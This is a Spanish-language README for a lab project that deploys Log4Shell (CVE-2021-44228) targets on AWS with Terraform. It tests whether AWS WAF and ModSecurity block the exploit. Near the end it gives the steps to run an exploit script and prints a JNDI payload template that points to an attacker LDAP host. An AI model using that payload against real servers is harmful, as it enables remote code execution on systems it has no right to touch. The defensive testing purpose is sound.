
Los archivos de este proyecto demuestran una prueba de concepto de la vulnerabilidad log4j (CVE-2021-44228) en AWS utilizando Terraform como medio de infraestructura como código.
Estos archivos del proyecto demuestran una prueba de concepto de la vulnerabilidad log4j (CVE-2021-44228) en AWS utilizando Terraform como infraestructura como código.
Hay 2 demostraciones en este proyecto:
Conclusión: La primera demo demuestra un exploit exitoso usando AWS WAF. La segunda demo fue un intento fallido cuando ModSecurity está implementado. Al eliminar ModSecurity, el exploit será exitoso. Puede deberse a que ModSecurity es un proyecto activo, por lo que las cadenas vulnerables han sido identificadas y filtradas.
Este PoC proviene de : https://github.com/kozmer/log4j-shell-poc
Este blog de Medium explica el paso a paso de su intento : https://chennylmf.medium.com/apache-log4j-shell-poc-exploits-5953c42fa873
Personalmente, probé usando Windows + Powershell, la máquina en la nube es Ubuntu 18 LTS. (Explotación con Kali o cualquier Linux)
Créala a través de la web (nómbrala 'tf-aws'): https://console.aws.amazon.com/ec2/v2/home?#KeyPairs
https://us-east-1.console.aws.amazon.com/iamv2/home#/users > Selecciona el usuario > Selecciona la sección security_credentials
Powershell:
$env:AWS_ACCESS_KEY_ID="<user access key input>"
$env:AWS_SECRET_ACCESS_KEY="<secret key input>"
$env:AWS_DEFAULT_REGION="<region>"
Linux:
export AWS_ACCESS_KEY_ID="<user access key input>"
export AWS_SECRET_ACCESS_KEY="<secret key input>
export AWS_DEFAULT_REGION="<region>"
cd single-instance
terraform init
terraform apply
Después de ejecutarlo, se mostrará una IP / DNS.
Para single-instance, asegúrate de que http:<aws host url>:8080 sea accesible
Para double-instance, asegúrate de que http:<aws host url> sea accesible
* ten en cuenta que levantar 'double-instance' tarda mucho más tiempo; puedes usar journalctl -f después de hacer ssh al sistema para seguir el progreso
Si sigues el journal, "Reached target Cloud-init target." significa que está listo.

Establece el permiso de ejecución
chmod +x ../exploit-script-remote.sh
Ejecuta el script con la variable suministrada
../exploit-script-remote.sh
Nota: el payload se muestra al final del script, similar a ${jndi:ldap://<ip-address>:1389/a}
Visita http:<aws host url>:8080
Copia el payload en el campo 'username' y luego envía los formularios

Archivo JDK: he verificado que la integridad de la fuente de baidu tiene el mismo hash que el de Oracle
SHA256 187EDA2235F812DDB35C352B5F9AA6C5B184D611C2C9D0393AFB8031D8198974
Instancia spot: https://www.tderflinger.com/en/ec2-spot-with-terraform
SSH: https://jhooq.com/terraform-ssh-into-aws-ec2/ https://docs.aws.amazon.com/cli/latest/userguide/cli-services-ec2-keypairs.html
[clave SSH sobre la marcha] https://stackoverflow.com/questions/49743220/how-do-i-create-an-ssh-key-in-terraform
WAF: https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/waf_rule https://medium.com/kudos-engineering/terraforming-amazons-web-application-firewall-e5c22b7d317d https://www.linode.com/docs/guides/securing-nginx-with-modsecurity/
Plantillas: https://spacelift.io/blog/terraform-templates
ID de AZ de AWS: https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/using-regions-availability-zones.html#concepts-availability-zones